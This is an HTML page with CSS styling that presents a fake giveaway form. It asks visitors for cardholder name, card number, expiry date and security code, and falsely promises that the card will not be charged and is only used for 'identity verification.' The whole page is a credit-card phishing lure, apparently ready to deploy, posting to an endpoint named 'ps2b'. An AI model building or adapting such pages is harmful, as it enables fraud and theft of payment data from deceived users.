<style>
input[type=text], select {
  width: 100%;
  padding: 12px 20px;
  margin: 8px 0;
  display: inline-block;
  border: 1px solid #ccc;
  border-radius: 4px;
  box-sizing: border-box;
}

input[type=submit], button {
  width: 100%;
  background-color: #4CAF50;
  color: white;
  padding: 14px 20px;
  margin: 8px 0;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

input[type=submit]:hover, button:hover {
  background-color: #45a049;
}

form {
  border-radius: 5px;
  background-color: #f2f2f2;
  padding: 20px;
  max-width: 700px;
}
</style>

<h1>Enter credit card info to join giveaway!</h1>
<p>Your card will not be charged, this is only for identity verification.</p>

<form action="ps2b" method="POST">
  <label for="name">Cardholder Name</label>
  <input id="name" maxlength="20" type="text">
  <label for="cardnumber">Card Number</label>
  <input id="cardnumber" type="text" pattern="[0-9]*" inputmode="numeric">
  <label for="expirationdate">Expiration (mm/yy)</label>
  <input id="expirationdate" type="text" pattern="[0-1][0-2]\/[0-3][0-1]" inputmode="numeric">
  <label for="securitycode">Security Code</label>
  <input id="securitycode" type="text" pattern="[0-9]*" inputmode="numeric">

  <button>Enter Giveaway</button>
</form>